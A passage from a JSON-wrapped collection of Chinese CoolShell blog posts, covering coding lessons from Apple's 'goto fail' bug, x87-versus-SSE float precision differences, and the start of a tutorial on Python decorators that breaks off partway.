可以发现这个问题，是的。但是，别忘了SSL/TLS这么多年了，这些基础函数都应该是很稳定的了， 在事前，我们可能不会想到要去为这些稳定了多少年的函数写几个Unit Test。\n\n\n**只要有足够多的时间，我们是可以对所有的功能点，所有的函数都做UT，也可以去追求做代码覆盖和分支覆盖一样。但有一点我们却永远无法做到，那就是——穷举所有的负面案例**。所以，对于测试来说，我们不能走极端，需要更聪明的测试。就像我在《[我们需要专职的QA](https://coolshell.cn/articles/6994.html \"我们需要专职的QA吗？\")》文章里的说过的——**测试比coding难度大多了，测试这个工作只有高级的开发人员才做得好。我从来不相信不写代码的人能做好测试。**\n\n\n这里，**我并不是说通过测试来发现这个问题的可能性不大，我想说的是，测试很重要，单测更重要。但是，我们无法面面俱到**。在我们没有关注到的地方，总会发生愚蠢的错误。\n\n\nP.S.，在各大网站对这个事的讨论中，我们可以看到OS X下的curl命令居然可以接受一个没有验证过的IP地址的https的请求，虽然现在还没有人知道这事的原因，但是，这可能是没有在测试中查到的一个原因。\n\n\n##### 3）关于编码风格\n\n\n对于程序员来说，在C语言中，省掉语句大括号是一件非常不明智 的事情。如我们强制使用语句块括号，那么，这两个goto fail都会在一个if的语句块里，而且也容易维护并且易读。（另外，通过这个bug，我们可以感受到，像Python那样，用缩进来表示语句块，的确是挺好的一件事）\n\n\n也有人说，如果你硬要用只有单条语句，且不用语句块括号，那么，这就是一条语句，应该放在同一行上。如下所示：\n\n\n`if  (check_something)   do_something();` \n\n\n但是这样一来，你在单步调试代码的时候，就有点不爽了，当你step over的时候，你完全不知道if的条件是真还是假。所以，还是分多行，加上大括号会好一些。\n\n\n相似的问题，我很十多年前也犯过，而且那次我出的问题也比较大，导致了用户的数据出错。那次就是维护别人的代码，别人的代码就是没有if的语句块括号，就像苹果的代码那样。我想在return z之前调用一个函数，结果就杯具了：\n\n\n\n```\nif ( ...... )\n    return x;\nif ( ...... )\n    return y;\nif ( ...... )\n    foo();\n    return z;\n```\n\n这个错误一不小心就犯了，因为人的大脑会相当然地认为缩进的都是一个语句块里的。但是如果原来的代码都加上了大括号，然后把缩进做正常，那么对后面维护的人会是一个非常好的事情。就不会犯我这个低级错误了。就像下面的代码一样，虽然写起来有点罗嗦，但利人利己。\n\n\n\n```\nif ( ...... ){\n    return x;\n}\nif ( ...... ){\n    return y;\n}\nif ( ...... ){\n    return z;\n}\n```\n\n与此类似的代码风格还有如下，你觉得哪个更容易阅读呢？\n\n\n* if (!p)    和  if (p == NULL)\n\n\n* if (p)    和  if (p != NULL)\n\n\n* if (!bflag)  和 if  (bflag == false)\n\n\n* if ( CheckSomthing() )  和 if ( CheckSomething() == true )\n\n\n另外还有很多人在switch 语句里用case来做if，也就是说case后面没有break。就像[Duff’s Device](http://en.wikipedia.org/wiki/Duff's_device)一样，再配以goto，代码就写得相当精彩了（这里[有个例子](https://github.com/agentzh/luajit2/blob/master/src/host/buildvm.c#L395)）\n\n\n所以说，代码不是炫酷的地方是给别人读的。\n\n\n另外，我在想，为什么苹果的这段代码不写成下面这样的形式？你看，下面这种情况不也很干净吗？\n\n\n\n```\n\nif (  ((err = ReadyHash(&SSLHashSHA1, &hashCtx)) != 0 )\n       || ((err = SSLHashSHA1.update(&hashCtx, &clientRandom)) != 0)\n       || ((err = SSLHashSHA1.update(&hashCtx, &serverRandom) != 0)\n       || ((err = SSLHashSHA1.update(&hashCtx, &signedParams) != 0)\n       || ((err = SSLHashSHA1.final(&hashCtx, &hashOut)) != 0)) {\n\n     goto fail;\n}\n\n```\n\n其实，还可以做一些代码上的优化，比如，把fail标签里的那些东西写成一个宏，这样就可以去掉goto语句了。\n\n\n##### 4）关于goto语句\n\n\n关于goto语句，1968年，[Edsger Dijkstra](http://en.wikipedia.org/wiki/Edsger_Dijkstra) 投了一篇文章到Communications of the ACM。原本的标题是《A Case Against the Goto Statement》。CACM编辑[Niklaus Wirth](http://en.wikipedia.org/wiki/Niklaus_Wirth)灵感来了，把标题改为我们熟知的 《[Go To Statement Considered Harmful](http://www.u.arizona.edu/~rubinson/copyright_violations/Go_To_Considered_Harmful.html)》Dijkstra写的内容也是其一贯的犀利语气，文中说：“几年前我就观察到，一个程序员的品质是其程序中goto语句的密度成反比的”，他还说，“后来我发现了为什么goto语句的使用有这么严重的后果，并相信所有高级语言都应该把goto废除掉。”  （**花絮**：因为，这篇文章的出现，计算学界开始用’ [X considered harmful](http://en.wikipedia.org/wiki/Considered_harmful) ‘当文章标题的风潮，直到[有人终于受不了](http://meyerweb.com/eric/comment/chech.html)为止）\n\n\n为什么goto语句不好呢？Dijkstra说，一个变量代表什么意义要看其上下文。一个程序用N记录房间里的人数，在大部分时候，N代表的是“目前房间里的人”。但在观察到又有一个人进房间后、把N递增的指令前的这段程序区块中，N的值代表的是“目前房间里的人数加一”。因此，要正确诠释程序的状态，必须知道程序执行的历史，或着说，知道现在“算到哪”了。\n\n\n怎么谈“算到哪了”？如果是一直线执行下来的程序，我们只要指到那条语句，说“就是这里”，就可以了。如果是有循环程序，我们可能得说：“现在在循环的这个地方，循环已经执行了第`i`次”。如果是在函数中，我们可能得说：“现在执行到函数`p`的这一点；`p`刚刚被`q调用`，调用点在一个循环中，这个循环已经执行了`i`次”。\n\n\n如果有goto`语句了`呢？那就麻烦了。因为电脑在执行某个指令前，可能是从程序中许许多多goto其中之一跳过来的。要谈某变量的性质也几乎变得不可能了。这就是为什么goto语句问题。\n\n\nDijkstra的这篇文章对后面很多程序员有非常深的影响，包括我在内，都觉得Goto语句能不用就不用，虽然，我在十年前的《[编程修养](http://blog.csdn.net/haoel/article/month/2003/05)》（这篇文章已经严重过时，某些条目已经漏洞百出）中的[第23条](http://blog.csdn.net/haoel/article/details/2876)也说过，我只认为在goto语句只有一种情况可以使用，就是苹果这个bug里的用法。但是我也同意Dijkstra，goto语句能不用就不用了。就苹果的这个问题而言，在更为高级的C++中，[使用RAII技术](http://en.wikipedia.org/wiki/Resource_Acquisition_Is_Initialization)，这样的goto语句已经没有什么存在的意义了。\n\n\nDijkstra这篇文章后来成为结构化程式论战最有名的文章之一。长达19年之后，Frank Rubin投了一篇文章到CACM,标题为《[‘ Go To Considered Harmful’ Considered Harmful](http://www.ecn.purdue.edu/ParaMount/papers/rubin87goto.pdf) 》Rubin说，「虽然Dijkstra的说法既太学术又缺乏说服力」，却似乎烙到每个程序员的心里了。这样，当有人说“用goto语句来解这题可能会比较好”会被严重鄙视。于是Rubin出了一道这样的题：令`X`为`N * N`的整数阵列。如果`X`的第`i`行全都是零，请输出`i`。如果不只一行，输出最小的`i` .\n\n\nRubin找了一些惯用goto和不用goto的程序员来解题，发现用goto的程序又快又清楚。而不用goto通常花了更多的时间，写出很复杂的解答。你觉得呢？ 另外，你会怎么写这题的程序呢？\n\n\n（**花絮**：以后几个月的CACM热闹死了。编辑收到许多回应，两个月后刊出了其中五篇。文章也包括了《[“‘GOTO Considered Harmful’ Considered Harmful” Considered Harmful?](http://www.ecn.purdue.edu/ParaMount/papers/acm_may87.pdf) 》）\n\n\n**对于我而言，goto语句的弊远远大于利，在99%的情况下，我是站在反goto这边的**。Java和Python就没有提供Goto语句，原因就是因为goto语句很容易被滥用！\n\n\n**更新：2014年3月5日** – RedHat 近日也发现个GnuTLS安全问题，与苹果的类似：无法正确检验特定的伪造SSL证书，这个总是会将伪造证书识别为有效证书。虽然Redhat的代码为if加上了花括号，但还是因为没有控制好goto，造成了bug。所以说啊，goto语句的坑是很多。\n\n\n* BUG页面：<https://bugzilla.redhat.com/show_bug.cgi?id=1069865>\n\n\n* 相关的Diff: <https://bugzilla.redhat.com/attachment.cgi?id=867911&action=diff>\n\n\ngoto语句在写代码的时候也许你会很爽，但是在维护的时候，绝对是一堆坑！redhat的这个patch为原来本来只有一个label的goto又加了另一个label，现在两个label交差goto，继续挖坑……\n\n\n#### 总结\n\n\n你看，我们不能完全消灭问题，但是，我们可以用下面几个手段来减少问题：\n\n\n1）**尽量在编译上发生错误，而不是在运行时**。\n\n\n2）**代码是让人读的，顺便让机器运行**。不要怕麻烦，好的代码风格，易读的代码会减少很多问题。\n\n\n3）**Code Review是一件很严肃的事情**，但 Code Reivew的前提条件是代码的可读性一定要很好。\n\n\n4）**测试是一件很重要也是很难的事情，尤其是开发人员要非常重视**。\n\n\n5）**不要走飞线，用飞线来解决问题是可耻的！**所以，用goto语句来组织代码的时代过去了，你可以有很多种方式不用goto也可以把代码组织得很好。\n\n\n最后，我在淘宝过去的一年里，经历过一些P1/P2故障，尤其是去年的8-9月份故障频发的月份，我发现其中有70%的P1/P2故障，就是因为没有code review，没有做好测试，大量地用飞线来解决问题，归根结底就是只重业务结果，对技术没有应有的严谨的态度和敬畏之心。\n\n\n**正如苹果的这个“goto fail”事件所暗喻的，如果你对技术没有应有的严谨和敬畏之心，你一定会——**\n\n\n**Go To Fail !!!**\n\n\n在这里唠叨这么多，与大家共勉！\n\n\n（全文完）\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [![Rust语言的编程范式](../wp-content/uploads/2020/03/rust-social-wide-150x150.jpg)](https://coolshell.cn/articles/20845.html)[Rust语言的编程范式](https://coolshell.cn/articles/20845.html)\n* [![程序员练级攻略（2018)  与我的专栏](../wp-content/uploads/2018/05/300x262-150x150.jpg)](https://coolshell.cn/articles/18360.html)[程序员练级攻略（2018) 与我的专栏](https://coolshell.cn/articles/18360.html)\n* [![API设计原则 – Qt官网的设计实践总结](../wp-content/uploads/2017/07/api-design-300x278-2-150x150.jpg)](https://coolshell.cn/articles/18024.html)[API设计原则 – Qt官网的设计实践总结](https://coolshell.cn/articles/18024.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/29.jpg](https://coolshell.cn/articles/12052.html)[Leetcode 编程训练](https://coolshell.cn/articles/12052.html)\n* [![State Threads 回调终结者](../wp-content/uploads/2014/10/edsm-150x150.gif)](https://coolshell.cn/articles/12012.html)[State Threads 回调终结者](https://coolshell.cn/articles/12012.html)\n* [![C语言的整型溢出问题](../wp-content/uploads/2014/04/c99-150x150.jpg)](https://coolshell.cn/articles/11466.html)[C语言的整型溢出问题](https://coolshell.cn/articles/11466.html)\nThe post [由苹果的低级Bug想到的](https://coolshell.cn/articles/11112.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2014-3-15 一个浮点数跨平台产生的问题.md",
    "content": "---\nlayout: post\ntitle: 一个浮点数跨平台产生的问题\ndate: 2014/3/15/ 12:44:24\nupdated: 2014/3/15/ 12:44:24\nstatus: publish\npublished: true\ntype: post\n---\n\n**感谢网友[唐磊](http://www.tanglei.name/)（微博@[唐磊\\_name](http://weibo.com/tangleithu?from=feed&loc=nickname \"唐磊_name\")）投稿，本文原文在唐磊的博客上（[原文地址](http://www.tanglei.name/a-bug-relate-with-float-point-between-x86-and-x64-in-csharp/)），原文分析还不够好，而且可能对人有误导，所以，我对原文做了很多修改，并加了Linux下的内容。浮点数是一个很复杂的事情，希望这篇文章有助于大家了解浮点数与其相关的C/C++的编译选项。**（注：我没有Windows 32位以及C#的环境，所以，对于Windows 32位的程序和C#的程序没有验证过）\n\n\n背景就简单点儿说，最近一个项目C#编写，涉及浮点运算，来龙去脉省去，直接看如下代码。\n\n\n\n```\nfloat p3x = 80838.0f;\nfloat p2y = -2499.0f;\ndouble v321 = p3x * p2y;\nConsole.WriteLine(v321);\n```\n\n很简单吧，马上笔算下结果为-202014162，没问题，难道C#没有产生这样的结果？不可能吧，开启Visual Studio，copy代码试试，果然结果是-202014162。就这样完了么？显然没有！你把编译时的选项从AnyCPU改成x64试试~(服务器环境正是64位滴哦！！)结果居然边成了-202014160，对没错，就是-202014160。有点不相信，再跑两遍，仍然是-202014160。呃，想通了，因为浮点运算的误差，-202014160这个结果是合理的。\n\n\n为什么合理呢？很正常，因为上面的p3x和p2y是两个float类型，虽然v321是double，但也是两个float类型计算完后再转成double的，**float的精度本来也只有7位，所以，对于这个上亿的数，自然没有办法保证精度**。\n\n\n**但是为什么修改CPU的type会有不同的效果？**嗯，我们再试试C/C++。\n\n\n\n\n```\n#include\nusing namespace std;\n\nint main()\n{\n    float p3x = 80838.0f;\n    float p2y = -2499.0f;\n    double v321 = p3x * p2y;\n    std::cout.precision(15);\n    std::cout << v321 << std::endl;\n\n    return 0;\n}\n\n```\n\n上面这段C++代码在不同的平台下的结果如下：\n\n\n* Windows 32/64位下：-202014160\n* Linux 64位下（CentOS 6 gcc 4.4.7）-202014160，\n* Linux 32位下（Ubuntu 12.04+ gcc 4.6.3）是：-202014162\n\n\n**合理的结果应该是-202014160，正确的运算结果是-202014162**，合理性是浮点精度不够造成的（文后解释了合理性）。若是用两个double相乘可得正确且合理的运算结果（注：把上面C++的程序中的p3x和p2y的类型声明成double，就能得到正确的结果，因为double是双精度的，float是单精度，所以double有足够的位数存放更多的数位）。**但是我们有点不明白，为什么Linux 32位下，居然能算出“正确”的数，而不是“合理”的数**。\n\n\n与C++一样，C#在32位和64位（DEBUG下，这个后面会说）下没有得到一致的结果，那我们来看一下C++/C#的汇编代码（使用gdb的disassemble /m main 命令，另外下面只显示 float \\* float 然后转成double的那一行代码的汇编）\n\n\n**Linux平台下用G++编译**\n\n\n\n```\n//C++ 32位系统下 Ubuntu 12.04\n8\t    double v321 = p3x * p2y;\n   0x0804860f <+27>:\tflds   0x18(%esp)\n   0x08048613 <+31>:\tfmuls  0x1c(%esp)\n   0x08048617 <+35>:\tfstpl  0x10(%esp)\n\n.......\n```\n\n\n```\n//C++ 64位系统下 CentOS 6\n9           double v321 = p3x * p2y;\n   0x000000000040083c <+24>:    movss  -0x20(%rbp),%xmm0\n   0x0000000000400841 <+29>:    mulss  -0x1c(%rbp),%xmm0\n   0x0000000000400846 <+34>:    unpcklps %xmm0,%xmm0\n   0x0000000000400849 <+37>:    cvtps2pd %xmm0,%xmm0\n   0x000000000040084c <+40>:    movsd  %xmm0,-0x18(%rbp)\n```\n\n**Windows平台下用Visual Studio编译**\n\n\n\n```\n//C# AnyCPU编译，Windows VS2012\ndouble v321 = p3x * p2y;\n00000049  fld         dword ptr [ebp-40h]\n0000004c  fmul        dword ptr [ebp-44h]\n0000004f  fstp        qword ptr [ebp-4Ch]\n```\n\n\n```\n//C# X64位编译 Windows7 VS2012\ndouble v321 = p3x * p2y;</pre>\n009B43B8 movss xmm0,dword ptr [p3x]\n009B43BD mulss xmm0,dword ptr [p2y]\n009B43C2 cvtss2sd xmm0,xmm0\n009B43C6 movsd mmword ptr [v321],xmm0\n```\n\n从上面的汇编代码可以看出，无论是Linux和Windows，C++或C# 32位和64对浮点数的汇编指令并不一样。 32位生成代码用的指令是fld/fmul/fstp等，而64位下的使用了movss/mulss/movsd/的指令。看下来，似乎这个事情和平台有关系。\n\n\n我们继续调查，我们发现，其中fld/fmul/fstp等指令是由**FPU**(float point unit)浮点运算处理器做的，准确的说，是FPU x87指令，FPU在进行浮点运算时，用了**80位**的寄存器做相关浮点运算，然后再根据是float/double截取成32位或64位，FPU默认上会尽量减少由于需要四舍五入带来的精度问题。可参看浮点运算标准[IEEE-754](http://en.wikipedia.org/wiki/IEEE_floating_point) 推荐标准实现者提供浮点可扩展精度格式([Extended precision](http://en.wikipedia.org/wiki/Extended_precision))，Intel x86处理器有FPU(float point unit)浮点运算处理器支持这种扩展。\n\n\n非FPU的情况是用了SSE中128位寄存器(float实际只用了其中的32位，计算时也是以32位计算的)，这就是导致上述问题产生的最终原因。详细分析见文末说明。\n\n\n知道了这一点，我们可以man g++ 看一下文档，我们可以找到一个编译选项叫：**-mfpmath，在32位下，这个编译选项的默认值是：387，也就是x87 FPU指令，在64位下，这个编译选项的值是sse，也就是使用SSE的指令**。所以，就这篇文章中的这个例子而言，如果你在64bits下加上如 -mfpmath=387，你会得到“正确的”结果，而不是“合理的”结果。\n\n\n而在VS2012中C++，[编译选项可以设置(代码生成中)](http://msdn.microsoft.com/zh-cn/library/vstudio/e7s85ffb(v=vs.110).aspx)可选，/fp:[precise | fast | strict]，本例中Release 32位下用precise 或者 strict将得到合理的结果(-202014160)，fast将产生正确的结果(-202014162), fast debug/release下结果也不一样哦(release下才优化了)。64系统下各个结果可以大家自己去测试下(Debug/Release)，分别看看VS编译后产生的中间代码长什么样。（陈皓注：我的VS2012在debug编译下，无论你怎么设置/fp的参数值，汇编都是一样的，使用SSE指令，而Release就不一样了，但是我的release下看代码的汇编非常怪异和源代码对上号，多年不用Windows开发了，对VS的使用仅停留在VC6++/VC2005上）\n\n\n所以，我们在从x87 FPU指令向SSE指令做代码移植的时候，我们可能会遇到向这样的浮点数的精度问题，这个精度问题会多次科学计算中会更糟糕。**这个问题并不简单的只是在32位和64位中的系统出算，这个问题主要还是看语言编译器的实现**。在更为高级的语言中，如：C99或Fortran 2003中，引入了“long double”来做可扩展双精度（Extension Double），这样就可以消除更多的精度问题。\n\n\n下面我们把程序改成long double，（注：其中的类型变成long double）\n\n\n\n```\n#include\nusing namespace std;\n\nint main()\n{\n    long double p3x = 80838.0;\n    long double p2y = -2499.0;\n    long double v321 = p3x * p2y;\n    std::cout.precision(15);\n    std::cout << v321 << std::endl;\n\n    return 0;\n}\n```\n\n用gdb的disassemble /m main你会看到其中的运算的汇编如下（使用了fmlp指令）：\n\n\n\n```\n//linux 32位系统\n8\t    long double v321 = p3x * p2y;\n   0x08048633 <+63>:\tfldt   0x10(%esp)\n   0x08048637 <+67>:\tfldt   0x20(%esp)\n   0x0804863b <+71>:\tfmulp  %st,%st(1)\n   0x0804863d <+73>:\tfstpt  0x30(%esp)\n\n```\n\n\n```\n//linux 64位系统\n8           long double v321 = p3x * p2y;\n   0x0000000000400818 <+52>:    fldt   -0x30(%rbp)\n   0x000000000040081b <+55>:    fldt   -0x20(%rbp)\n   0x000000000040081e <+58>:    fmulp  %st,%st(1)\n   0x0000000000400820 <+60>:    fstpt  -0x10(%rbp)\n\n```\n\n我们可以看到，32位系统和64位系统使用了同样的汇编指令（当然，我没有那么多物理机，我只是在VMWare Play的虚拟机上测试的，所以上面的示例并不一定适用于所有的地方，另外，C/C++语言和编译器和平台有非常大的关系） ，原因自然是我们用到了long double这个扩展双精度的数据类型。（注：如果你用double或float，在Linux上，32位用x87 FPU 指令编译，而64位用SSE指令编译）\n\n\n好了，我们再回到C#上来，C#的浮点是支持该标准的，其中[其官方文档](http://msdn.microsoft.com/en-us/library/aa691146(v=vs.71).aspx)也提到了浮点运算可能会产生比返回类型更高精度的值（正如上面的返回值精度就超过了float的精度），并说明如果硬件支持可扩展浮点精度的话，那么**所有的**浮点运算都将用此精度进行以提高效率，举个例子x\\*y/z, x\\*y的值可能都在double的能力范围之外了，但真实情况可能除以z后又能把结果拉回到double范围内，这样的话，用了FPU的结果就会得到一个准确的double值，而非FPU的就是无穷大之类的了。\n\n\n所以，对于C#来说，你显然无法找到一个像C/C++一样的利用编译器选项的来解决这个问题的“解决方案”（其实，用编译器参数是一个伪解决方案）。\n\n\n**而且，要解决这个问题也不是要修改编译器选项，因为这个问题明显不是FPU或是SSE的问题，FPU是个过时的技术，SSE才是合理的技术，所以，如果你不想你的浮点数在计算上有什么问题，而且你需要精度准确，正确的解决方案不是搞编译参数，而是——你一定要使用精度更高字节数更多的数据类型，比如：double 或是long double。**\n\n\n另外，大家在写代码的时候得保证实际运行环境/测试环境/开发环境的**一致性(包括OS架构啊、编译选项等)**啊（**尤其是C/C++ 而且，编译器上的参数可能会有很多坑，而且有些坑可能会掩盖你程序中的问题**），不然莫名其妙的问题会产生（本文就是开发环境与运行环境不一致导致的问题，纠结了好久才发现是这个原因）；遇到涉及浮点运算的时候别忘了有可能是这个原因产生的；**float/double混用的情况得特别注意**。\n\n\n**Reference：**\n\n\n[1] [C# Language Specification Floating point types](http://msdn.microsoft.com/en-us/library/aa691146(v=vs.71).aspx)  \n\n[2] [Are floating-point numbers consistent in C#? Can they be?](http://stackoverflow.com/questions/6683059/are-floating-point-numbers-consistent-in-c-can-they-be)   \n\n[3] [The FPU Instruction Set](http://www.plantation-productions.com/Webster/www.artofasm.com/Linux/HTML/RealArithmetica2.html)\n\n\n#### **附录**\n\n\n##### **80838.0f \\* -2499.0f = -202014160.0浮点运算过程的说明**\n\n\n32位浮点数在计算机中的表示方式为：1位符号位(s)-8位指数位(E)-23位有效数字(M)。  \n\n32位Float = (-1)^s \\* (1+m) \\* 2^(e-127), 其中e是实际转换成1.xxxxx\\*2^e的指数,m是前面的xxxxx(节约1位)\n\n\n80838.0f = 1 0011 1011 1100 0110.0= 1.00111011110001100\\*2^16  \n\n有效位M = 0011 1011 1100 0110 0000 000  \n\n指数位E = 16 + 127 = 143 =  10001111  \n\n内部表示 80838.0 =  0 [1000 1111] [0011 1011 1100 0110 0000 000]  \n\n= 0100 0111 1001 1101 1110 0011 0000 0000  \n\n= 47 9d e3 00 //实际调试时看到的内存值 可能是00 e3 9d 47是因为调试环境用了小端表示法法：低位字节排内存低地址端，高位排内存高地址\n\n\n-2499.0 = -100111000011.0 = -1.001110000110 \\* 2^11  \n\n有效位M = 0011 1000 0110 0000 0000 000  \n\n指数位E = 11+127=138= 10001010  \n\n符号位s = 1  \n\n内部表示-2499.0 = 1 [10001010] [0011 1000 0110 0000 0000 000]  \n\n=1100 0101 0001 1100 0011 0000 0000 0000  \n\n=c5 1c 30 00\n\n\n80838.0 \\* -2499.0 = ?\n\n\n首先是指数 e = 11+16 = 27  \n\n指数位E = e + 127 = 154 = 10011010  \n\n有效位相乘结果为 1.1000 0001 0100 1111 1011 1010 01 //可以自己动手实际算下  \n\n实际中只能有23位，后面的被截断即1000 0001 0100 1111 1011 1010 01   \n\n相乘结果内部表示=1[10011010][1000 0001 0100 1111 1011 101]  \n\n= 1100 1101 0100 0000 1010 0111 1101 1101  \n\n= cd 40 a7 dd\n\n\n结果 =  -1.1000 0001 0100 1111 1011 101 \\*2^27  \n\n=  -11000 0001 0100 1111 1011 1010000  \n\n=  -202014160  \n\n再转成double后还是-202014160.\n\n\n如果是FPU的话，上面的有效位结果不会被截断，即  \n\nFPU结果 = -1.1000 0001 0100 1111 1011 101**001** \\*2^27  \n\n= -11000 0001 0100 1111 1011 101**001**0  \n\n= -202014162\n\n\n全文完，若本文有纰漏之处欢迎指正。\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/10.jpg](https://coolshell.cn/articles/3008.html)[Windows编程革命简史](https://coolshell.cn/articles/3008.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/0.jpg](https://coolshell.cn/articles/2672.html)[.NET代码转换器](https://coolshell.cn/articles/2672.html)\n* [![Rust语言的编程范式](../wp-content/uploads/2020/03/rust-social-wide-150x150.jpg)](https://coolshell.cn/articles/20845.html)[Rust语言的编程范式](https://coolshell.cn/articles/20845.html)\n* [![程序员练级攻略（2018)  与我的专栏](../wp-content/uploads/2018/05/300x262-150x150.jpg)](https://coolshell.cn/articles/18360.html)[程序员练级攻略（2018) 与我的专栏](https://coolshell.cn/articles/18360.html)\n* [![API设计原则 – Qt官网的设计实践总结](../wp-content/uploads/2017/07/api-design-300x278-2-150x150.jpg)](https://coolshell.cn/articles/18024.html)[API设计原则 – Qt官网的设计实践总结](https://coolshell.cn/articles/18024.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/29.jpg](https://coolshell.cn/articles/12052.html)[Leetcode 编程训练](https://coolshell.cn/articles/12052.html)\nThe post [一个浮点数跨平台产生的问题](https://coolshell.cn/articles/11235.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2014-3-20 Python修饰器的函数式编程.md",
    "content": "---\nlayout: post\ntitle: Python修饰器的函数式编程\ndate: 2014/3/20/ 1:50:34\nupdated: 2014/3/20/ 1:50:34\nstatus: publish\npublished: true\ntype: post\n---\n\n![](../wp-content/uploads/2014/03/snake-hat-new-year-schedule-800x960.jpg)Python的修饰器的英文名叫Decorator，当你看到这个英文名的时候，你可能会把其跟Design Pattern里的Decorator搞混了，其实这是完全不同的两个东西。虽然好像，他们要干的事都很相似——都是想要对一个已有的模块做一些“修饰工作”，所谓修饰工作就是想给现有的模块加上一些小装饰（一些小功能，这些小功能可能好多模块都会用到），但又不让这个小装饰（小功能）侵入到原有的模块中的代码里去。但是OO的Decorator简直就是一场恶梦，不信你就去看看wikipedia上的词条（[Decorator Pattern](http://en.wikipedia.org/wiki/Decorator_pattern)）里的UML图和那些代码，这就是我在《 [从面向对象的设计模式看软件设计](https://coolshell.cn/articles/8961.html \"链接：从面向对象的设计模式看软件设计\")》“餐后甜点”一节中说的，OO鼓励了——“厚重地胶合和复杂层次”，也是《 [如此理解面向对象编程](https://coolshell.cn/articles/8745.html \"链接：如此理解面向对象编程\")》中所说的“OO的狂热者们非常害怕处理数据”，Decorator Pattern搞出来的代码简直就是OO的反面教程。\n\n\nPython 的 Decorator在使用上和Java/C#的Annotation很相似，就是在方法名前面加一个@XXX注解来为这个方法装饰一些东西。但是，Java/C#的Annotation也很让人望而却步，太TMD的复杂了，你要玩它，你需要了解一堆Annotation的类库文档，让人感觉就是在学另外一门语言。\n\n\n而Python使用了一种相对于Decorator Pattern和Annotation来说非常优雅的方法，这种方法不需要你去掌握什么复杂的OO模型或是Annotation的各种类库规定，完全就是语言层面的玩法：一种函数式编程的技巧。如果你看过本站的《[函数式编程](https://coolshell.cn/articles/10822.html)》，你一定会为函数式编程的那种“描述你想干什么，而不是描述你要怎么去实现”的编程方式感到畅快。（如果你不了解函数式编程，那在读本文之前，还请你移步去看看《[函数式编程](https://coolshell.cn/articles/10822.html)》） 好了，我们先来点感性认识，看一个Python修饰器的Hello World的代码。\n\n\n\n#### Hello World\n\n\n下面是代码（文件名：hello.py）：\n\n\n\n```\ndef hello(fn):\n    def wrapper():\n        print \"hello, %s\" % fn.__name__\n        fn()\n        print \"goodby, %s\" % fn.__name__\n    return wrapper\n\n@hello\ndef foo():\n    print \"i am foo\"\n\nfoo()\n\n```\n\n当你运行代码，你会看到如下输出：\n\n\n\n```\n[chenaho@chenhao-air]$ python hello.py\nhello, foo\ni am foo\ngoodby, foo\n```\n\n你可以看到如下的东西：\n\n\n1）函数foo前面有个@hello的“注解”，hello就是我们前面定义的函数hello\n\n\n2）在hello函数中，其需要一个fn的参数（这就用来做回调的函数）\n\n\n3）hello函数中返回了一个inner函数wrapper，这个wrapper函数回调了传进来的fn，并在回调前后加了两条语句。\n\n\n#### Decorator 的本质\n\n\n对于Python的这个@注解语法糖- Syntactic Sugar 来说，当你在用某个@decorator来修饰某个函数func时，如下所示:\n\n\n\n```\n@decorator\ndef func():\n    pass\n\n```\n\n其解释器会解释成下面这样的语句：\n\n\n\n```\nfunc = decorator(func)\n```\n\n尼玛，这不就是把一个函数当参数传到另一个函数中，然后再回调吗？是的，但是，我们需要注意，那里还有一个赋值语句，把decorator这个函数的返回值赋值回了原来的func。 根据《[函数式编程](https://coolshell.cn/articles/10822.html)》中的**first class functions**中的定义的，你可以把函数当成变量来使用，所以，decorator必需得返回了一个函数出来给func，这就是所谓的**higher order function** 高阶函数，不然，后面当func()调用的时候就会出错。 就我们上面那个hello.py里的例子来说，\n\n\n\n```\n@hello\ndef foo():\n    print \"i am foo\"\n\n```\n\n被解释成了：\n\n\n\n```\n foo = hello(foo)\n```\n\n**是的，这是一条语句，而且还被执行了。**你如果不信的话，你可以写这样的程序来试试看：\n\n\n\n```\ndef fuck(fn):\n    print \"fuck %s!\" % fn.__name__[::-1].upper()\n\n@fuck\ndef wfg():\n    pass\n\n```\n\n没了，就上面这段代码，没有调用wfg()的语句，你会发现， fuck函数被调用了，而且还很NB地输出了我们每个人的心声！\n\n\n再回到我们hello.py的那个例子，我们可以看到，**hello(foo)返回了wrapper()函数，所以，foo其实变成了wrapper的一个变量，而后面的foo()执行其实变成了wrapper()**。\n\n\n知道这点本质，当你看到有多个decorator或是带参数的decorator，你也就不会害怕了。\n\n\n比如：多个decorator\n\n\n\n```\n@decorator_one\n@decorator_two\ndef func():\n    pass\n```\n\n相当于：\n\n\n\n```\nfunc = decorator_one(decorator_two(func))\n```\n\n比如：带参数的decorator：\n\n\n\n```\n@decorator(arg1, arg2)\ndef func():\n    pass\n```\n\n相当于：\n\n\n\n```\nfunc = decorator(arg1,arg2)(func)\n```\n\n这意味着decorator(arg1, arg2)这个函数需要返回一个“真正的decorator”。\n\n\n#### 带参数及多个Decrorator\n\n\n我们来看一个有点意义的例子（文件名：html.py）：\n\n\n在上面这个例子中，我们可以看到：makeHtmlTag有两个参数。所以，**为了让 hello = makeHtmlTag(arg1, arg2)(hello) 成功，makeHtmlTag 必需返回一个decorator**（这就是为什么我们在makeHtmlTag中加入了real\\_decorator()的原因）**，这样一来，我们就可以进入到 decorator 的逻辑中去了**—— decorator得返回一个wrapper，wrapper里回调hello。**看似那个makeHtmlTag() 写得层层叠叠，但是，已经了解了本质的我们觉得写得很自然**。 你看，Python的Decorator就是这么简单，没有什么复杂的东西，你也不需要了解过多的东西，使用起来就是那么自然、体贴、干爽、透气，独有的速效凹道和完美的吸收轨迹，让你再也不用为每个月的那几天感到焦虑和不安，再加上贴心的护翼设计，量多也不用当心。对不起，我调皮了。 什么，你觉得上面那个带参数的Decorator的函数嵌套太多了，你受不了。好吧，没事，我们看看下面的方法。\n\n\n#### class式的 